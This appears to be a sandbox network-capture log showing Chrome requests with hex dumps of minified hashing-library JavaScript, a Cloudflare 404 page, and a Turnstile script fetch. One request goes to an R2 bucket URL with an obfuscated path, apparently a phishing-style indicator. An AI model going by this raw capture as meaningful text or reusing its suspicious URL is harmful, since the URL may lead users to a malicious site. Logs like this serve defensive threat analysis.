2024-10-10 16:00:26 UTC	1369	IN	Data Raw: 34 5d 3e 3e 3e 30 3c 77 74 5b 34 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 36 5d 3d 65 5b 36 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 35 5d 3e 3e 3e 30 3c 77 74 5b 35 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 37 5d 3d 65 5b 37 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 36 5d 3e 3e 3e 30 3c 77 74 5b 36 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 74 68 69 73 2e 5f 62 3d 65 5b 37 5d 3e 3e 3e 30 3c 77 74 5b 37 5d 3e 3e 3e 30 3f 31 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 2c 73 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 2c 63 3d 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 Data Ascii: 4]>>>0<wt[4]>>>0?1:0)\|0,e[6]=e[6]+1295307597+(e[5]>>>0<wt[5]>>>0?1:0)\|0,e[7]=e[7]+3545052371+(e[6]>>>0<wt[6]>>>0?1:0)\|0,this._b=e[7]>>>0<wt[7]>>>0?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((nn>>>17)+no>>>15)+oo,c=((4294901760&i)i\|0)+(
2024-10-10 16:00:26 UTC	1369	IN	Data Raw: 34 2a 32 2c 61 3d 73 7c 63 3b 69 5b 6e 3e 3e 3e 32 5d 7c 3d 61 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 7d 72 65 74 75 72 6e 20 68 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2f 3d 22 7d 2c 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6e 3d 74 2e 61 6c 67 6f 2c 48 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 30 3b 74 3c 36 34 3b 74 2b 2b 29 48 5b 74 5d 3d 34 32 39 34 39 36 37 32 39 Data Ascii: 42,a=s\|c;i[n>>>2]\|=a<<24-n%48,n++}return h.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},function(l){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,n=t.algo,H=[];!function(){for(var t=0;t<64;t++)H[t]=429496729
2024-10-10 16:00:26 UTC	1369	IN	Data Raw: 2c 6d 2c 78 2c 62 2c 42 2c 35 2c 48 5b 32 38 5d 29 2c 62 3d 41 28 62 2c 53 2c 6d 2c 78 2c 61 2c 39 2c 48 5b 32 39 5d 29 2c 78 3d 41 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 34 2c 48 5b 33 30 5d 29 2c 53 3d 43 28 53 2c 6d 3d 41 28 6d 2c 78 2c 62 2c 53 2c 67 2c 32 30 2c 48 5b 33 31 5d 29 2c 78 2c 62 2c 66 2c 34 2c 48 5b 33 32 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 70 2c 31 31 2c 48 5b 33 33 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 79 2c 31 36 2c 48 5b 33 34 5d 29 2c 6d 3d 43 28 6d 2c 78 2c 62 2c 53 2c 77 2c 32 33 2c 48 5b 33 35 5d 29 2c 53 3d 43 28 53 2c 6d 2c 78 2c 62 2c 63 2c 34 2c 48 5b 33 36 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 6c 2c 31 31 2c 48 5b 33 37 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 36 2c 48 5b 33 38 5d 29 2c 6d 3d Data Ascii: ,m,x,b,B,5,H[28]),b=A(b,S,m,x,a,9,H[29]),x=A(x,b,S,m,u,14,H[30]),S=C(S,m=A(m,x,b,S,g,20,H[31]),x,b,f,4,H[32]),b=C(b,S,m,x,p,11,H[33]),x=C(x,b,S,m,y,16,H[34]),m=C(m,x,b,S,w,23,H[35]),S=C(S,m,x,b,c,4,H[36]),b=C(b,S,m,x,l,11,H[37]),x=C(x,b,S,m,u,16,H[38]),m=
2024-10-10 16:00:26 UTC	1369	IN	Data Raw: 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 5f 68 61 73 68 3d 74 68 69 73 2e 5f 68 61 73 68 2e 63 6c 6f 6e 65 28 29 2c 74 7d 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 7a 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 72 7c 7e 65 26 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 41 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 69 7c 72 26 7e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 43 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 5e 72 5e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c Data Ascii: .call(this);return t._hash=this._hash.clone(),t}});function z(t,e,r,i,n,o,s){var c=t+(e&r\|~e&i)+n+s;return(c<<o\|c>>>32-o)+e}function A(t,e,r,i,n,o,s){var c=t+(e&i\|r&~i)+n+s;return(c<<o\|c>>>32-o)+e}function C(t,e,r,i,n,o,s){var c=t+(e^r^i)+n+s;return(c<<o\|
2024-10-10 16:00:26 UTC	1369	IN	Data Raw: 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6f 3d 74 2e 61 6c 67 6f 2c 73 3d 5b 5d 2c 42 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 6e 2e 73 71 72 74 28 74 29 2c 72 3d 32 3b 72 3c 3d 65 3b 72 2b 2b 29 69 66 28 21 28 74 25 72 29 29 72 65 74 75 72 6e 3b 72 65 74 75 72 6e 20 31 7d 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 72 65 74 75 72 6e 20 34 32 39 34 39 36 37 32 39 36 2a 28 74 2d 28 30 7c 74 29 29 7c 30 7d 66 6f 72 28 76 61 72 20 72 3d 32 2c 69 3d 30 3b 69 3c 36 34 3b 29 74 28 72 29 26 26 28 69 3c 38 26 26 28 73 5b 69 5d 3d 65 28 6e 2e 70 6f 77 28 72 2c 2e 35 29 29 29 2c Data Ascii: ction(n){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,o=t.algo,s=[],B=[];!function(){function t(t){for(var e=n.sqrt(t),r=2;r<=e;r++)if(!(t%r))return;return 1}function e(t){return 4294967296*(t-(0\|t))\|0}for(var r=2,i=0;i<64;)t(r)&&(i<8&&(s[i]=e(n.pow(r,.5))),

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.17	49722	162.159.140.237	443	5760	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-10 16:00:26 UTC	853	OUT	GET /favicon.ico HTTP/1.1 Host: pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-10 16:00:26 UTC	180	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Oct 2024 16:00:26 GMT Content-Type: text/html Content-Length: 27150 Connection: close Server: cloudflare CF-RAY: 8d07d2c5bf504356-EWR
2024-10-10 16:00:26 UTC	1189	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <link rel="icon" href="https://www.cloudflare.com/favicon.ico" /> <title>Not Found</title> <sty
2024-10-10 16:00:26 UTC	1369	IN	Data Raw: 32 20 7b 0a 20 20 20 20 20 20 20 20 30 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 30 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 31 30 25 2c 0a 20 20 20 20 20 20 20 20 35 30 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 35 70 78 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 36 30 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 30 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 31 30 30 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 30 70 78 29 3b 0a 20 20 20 20 Data Ascii: 2 { 0% { transform: translateX(0); } 10%, 50% { transform: translateX(5px); } 60% { transform: translateX(0); } 100% { transform: translateX(0px);
2024-10-10 16:00:26 UTC	1369	IN	Data Raw: 70 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 4c 65 61 72 6e 20 68 6f 77 20 74 6f 20 65 6e 61 62 6c 65 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 72 32 2f 64 61 74 61 2d 61 63 63 65 73 73 2f 70 75 62 6c 69 63 2d 62 75 63 6b 65 74 73 2f 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 50 75 62 6c 69 63 20 41 63 63 65 73 73 3c 2f 61 0a 20 20 20 20 20 20 20 20 20 20 20 20 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 0a 20 20 20 20 20 20 3c 73 65 63 74 Data Ascii: p> <p> Learn how to enable <a href="https://developers.cloudflare.com/r2/data-access/public-buckets/" >Public Access</a > </p> </div> </section> <sect
2024-10-10 16:00:26 UTC	1369	IN	Data Raw: 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 32 34 2e 35 36 36 20 31 33 2e 32 37 37 43 31 32 31 2e 30 35 33 20 31 33 2e 32 37 37 20 31 31 38 2e 32 30 34 20 31 30 2e 34 32 38 38 20 31 31 38 2e 32 30 34 20 36 2e 39 31 35 33 34 43 31 31 38 2e 32 30 34 20 33 2e 34 30 31 39 31 20 31 32 31 2e 30 35 33 20 30 2e 35 35 33 37 31 31 20 31 32 34 2e 35 36 36 20 30 2e 35 35 33 37 31 31 43 31 32 38 2e 30 38 20 30 2e 35 35 33 37 31 31 20 31 33 30 2e 39 32 38 20 33 2e 34 30 31 39 31 20 31 33 30 2e 39 32 38 20 36 2e 39 31 35 33 34 43 31 33 30 2e 39 32 38 20 31 30 2e 34 32 38 38 20 31 32 38 2e 30 38 20 31 33 2e 32 37 37 20 31 32 34 2e 35 36 36 20 31 33 2e 32 37 37 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 Data Ascii: <path d="M124.566 13.277C121.053 13.277 118.204 10.4288 118.204 6.91534C118.204 3.40191 121.053 0.553711 124.566 0.553711C128.08 0.553711 130.928 3.40191 130.928 6.91534C130.928 10.4288 128.08 13.277 124.566 13.277Z" fill="#0055DC
2024-10-10 16:00:26 UTC	1369	IN	Data Raw: 33 30 34 20 39 39 2e 36 31 34 39 43 37 33 2e 31 38 38 38 20 31 30 30 2e 38 39 35 20 37 31 2e 32 35 35 39 20 31 30 38 2e 31 39 35 20 37 31 2e 32 35 35 39 20 31 30 38 2e 31 39 35 48 37 35 2e 35 34 35 39 43 37 35 2e 35 34 35 39 20 31 30 38 2e 31 39 35 20 37 38 2e 33 33 35 33 20 39 35 2e 39 36 31 31 20 36 38 2e 36 38 36 38 20 39 34 2e 30 34 34 35 43 35 39 2e 30 33 38 34 20 39 32 2e 31 32 37 38 20 35 36 2e 30 37 37 37 20 31 30 35 2e 34 30 36 20 35 36 2e 30 37 37 37 20 31 30 35 2e 34 30 36 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 33 36 2e 31 37 36 20 31 31 31 2e 39 35 33 43 31 Data Ascii: 304 99.6149C73.1888 100.895 71.2559 108.195 71.2559 108.195H75.5459C75.5459 108.195 78.3353 95.9611 68.6868 94.0445C59.0384 92.1278 56.0777 105.406 56.0777 105.406Z" fill="#0055DC" /> <path d="M136.176 111.953C1
2024-10-10 16:00:26 UTC	1369	IN	Data Raw: 2e 39 34 31 20 31 32 31 2e 31 37 20 31 30 38 2e 34 30 37 43 31 32 30 2e 37 30 34 20 31 30 38 2e 38 37 32 20 31 32 30 2e 33 33 35 20 31 30 39 2e 34 32 35 20 31 32 30 2e 30 38 33 20 31 31 30 2e 30 33 34 43 31 31 39 2e 38 33 31 20 31 31 30 2e 36 34 32 20 31 31 39 2e 37 30 31 20 31 31 31 2e 32 39 35 20 31 31 39 2e 37 30 31 20 31 31 31 2e 39 35 33 56 31 31 31 2e 39 35 33 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 30 33 2e 33 38 34 20 31 31 31 2e 39 35 33 43 31 30 33 2e 33 38 34 20 31 31 32 2e 36 31 32 20 31 30 33 2e 35 31 33 20 31 31 33 2e 32 36 34 20 31 30 33 2e 37 36 36 20 31 Data Ascii: .941 121.17 108.407C120.704 108.872 120.335 109.425 120.083 110.034C119.831 110.642 119.701 111.295 119.701 111.953V111.953Z" fill="#0055DC" /> <path d="M103.384 111.953C103.384 112.612 103.513 113.264 103.766 1
2024-10-10 16:00:26 UTC	1369	IN	Data Raw: 36 38 34 20 31 33 34 2e 39 39 35 20 33 31 2e 35 37 39 35 20 31 33 39 2e 37 39 32 20 33 31 2e 35 37 39 35 43 31 34 34 2e 35 38 39 20 33 31 2e 35 37 39 35 20 31 34 38 2e 34 37 38 20 33 35 2e 34 36 38 34 20 31 34 38 2e 34 37 38 20 34 30 2e 32 36 35 36 43 31 34 38 2e 34 37 38 20 34 35 2e 30 36 32 37 20 31 34 34 2e 35 38 39 20 34 38 2e 39 35 31 36 20 31 33 39 2e 37 39 32 20 34 38 2e 39 35 31 36 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 77 68 69 74 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 74 72 6f 6b 65 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3d 22 31 30 22 0a 20 20 20 Data Ascii: 684 134.995 31.5795 139.792 31.5795C144.589 31.5795 148.478 35.4684 148.478 40.2656C148.478 45.0627 144.589 48.9516 139.792 48.9516Z" fill="white" stroke="#0055DC" stroke-width="2" stroke-miterlimit="10"
2024-10-10 16:00:26 UTC	1369	IN	Data Raw: 32 2e 34 39 32 31 20 31 31 35 2e 36 38 20 34 31 2e 34 32 31 36 20 31 31 35 2e 36 38 20 34 30 2e 33 30 35 35 43 31 31 35 2e 36 37 38 20 33 39 2e 31 39 30 37 20 31 31 35 2e 32 33 34 20 33 38 2e 31 32 32 34 20 31 31 34 2e 34 34 35 20 33 37 2e 33 33 34 39 43 31 31 33 2e 36 35 36 20 33 36 2e 35 34 37 34 20 31 31 32 2e 35 38 36 20 33 36 2e 31 30 35 32 20 31 31 31 2e 34 37 32 20 33 36 2e 31 30 35 32 43 31 31 30 2e 33 35 38 20 33 36 2e 31 30 37 33 20 31 30 39 2e 32 39 31 20 33 36 2e 35 35 30 36 20 31 30 38 2e 35 30 34 20 33 37 2e 33 33 37 38 43 31 30 37 2e 37 31 37 20 33 38 2e 31 32 35 20 31 30 37 2e 32 37 34 20 33 39 2e 31 39 32 31 20 31 30 37 2e 32 37 31 20 34 30 2e 33 30 35 35 56 34 30 2e 33 30 35 35 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d Data Ascii: 2.4921 115.68 41.4216 115.68 40.3055C115.678 39.1907 115.234 38.1224 114.445 37.3349C113.656 36.5474 112.586 36.1052 111.472 36.1052C110.358 36.1073 109.291 36.5506 108.504 37.3378C107.717 38.125 107.274 39.1921 107.271 40.3055V40.3055Z" fill=
2024-10-10 16:00:26 UTC	1369	IN	Data Raw: 34 34 20 31 33 33 2e 30 32 20 31 34 36 2e 36 31 31 20 31 33 37 2e 34 31 32 20 31 34 36 2e 36 31 31 20 31 34 32 2e 38 33 31 43 31 34 36 2e 36 31 31 20 31 34 38 2e 32 34 39 20 31 34 32 2e 33 34 34 20 31 35 32 2e 36 34 31 20 31 33 37 2e 30 38 31 20 31 35 32 2e 36 34 31 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 43 35 45 42 46 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 67 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 67 20 73 74 79 6c 65 3d 22 6d 69 78 2d 62 6c 65 6e 64 2d 6d 6f 64 65 3a 20 6d 75 6c 74 69 70 6c 79 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 30 33 2e 30 37 34 20 31 34 32 2e 38 33 31 43 31 30 33 2e 30 Data Ascii: 44 133.02 146.611 137.412 146.611 142.831C146.611 148.249 142.344 152.641 137.081 152.641Z" fill="#C5EBF5" /> </g> <g style="mix-blend-mode: multiply"> <path d="M103.074 142.831C103.0
2024-10-10 16:00:26 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 64 3d 22 4d 31 33 37 2e 30 38 37 20 37 35 2e 36 33 35 48 31 34 32 2e 31 37 37 56 37 39 2e 37 33 37 39 48 31 33 37 2e 30 38 37 56 37 35 2e 36 33 35 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 32 39 2e 38 35 32 20 37 35 2e 36 33 35 48 31 33 34 2e 39 33 34 56 37 39 2e 37 33 37 39 48 31 32 39 2e 38 35 32 56 37 35 2e 36 33 35 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 33 37 Data Ascii: d="M137.087 75.635H142.177V79.7379H137.087V75.635Z" fill="#0055DC" /> <path d="M129.852 75.635H134.934V79.7379H129.852V75.635Z" fill="#0055DC" /> <path d="M137

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.17	49728	104.18.95.41	443	5760	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-10 16:00:26 UTC	383	OUT	GET /turnstile/v0/b/62ec4f065604/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-10 16:00:26 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 16:00:26 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47460 Connection: close accept-ranges: bytes last-modified: Tue, 01 Oct 2024 14:19:56 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8d07d2c83cf24217-EWR alt-svc: h3=":443"; ma=86400
2024-10-10 16:00:26 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 57 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 6c 2c 68 29 7b 74 72 79 7b 76 61 72 20 66 3d 65 5b 6c 5d 28 68 29 2c 70 3d 66 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 73 29 7b 6e 28 73 29 3b 72 65 74 75 72 6e 7d 66 2e 64 6f 6e 65 3f 72 28 70 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 70 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Wt(e,r,n,o,c,l,h){try{var f=e[l](h),p=f.value}catch(s){n(s);return}f.done?r(p):Promise.resolve(p).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var l=e.apply(r,n);funct
2024-10-10 16:00:26 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 41 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 72 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function rt(e,r){return r=r!=nu
2024-10-10 16:00:26 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 6e 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 42 74 28 65 29 7c 7c 6a 74 28 65 2c 72 29 7c 7c 7a 74 28 65 2c 72 29 7c 7c 71 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 55 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 44 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 Data Ascii: ray$/.test(n))return nt(e,r)}}function Ae(e,r){return Bt(e)\|\|jt(e,r)\|\|zt(e,r)\|\|qt()}function U(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function De(e,r){var n={label:0,sent:function(){if(l[0
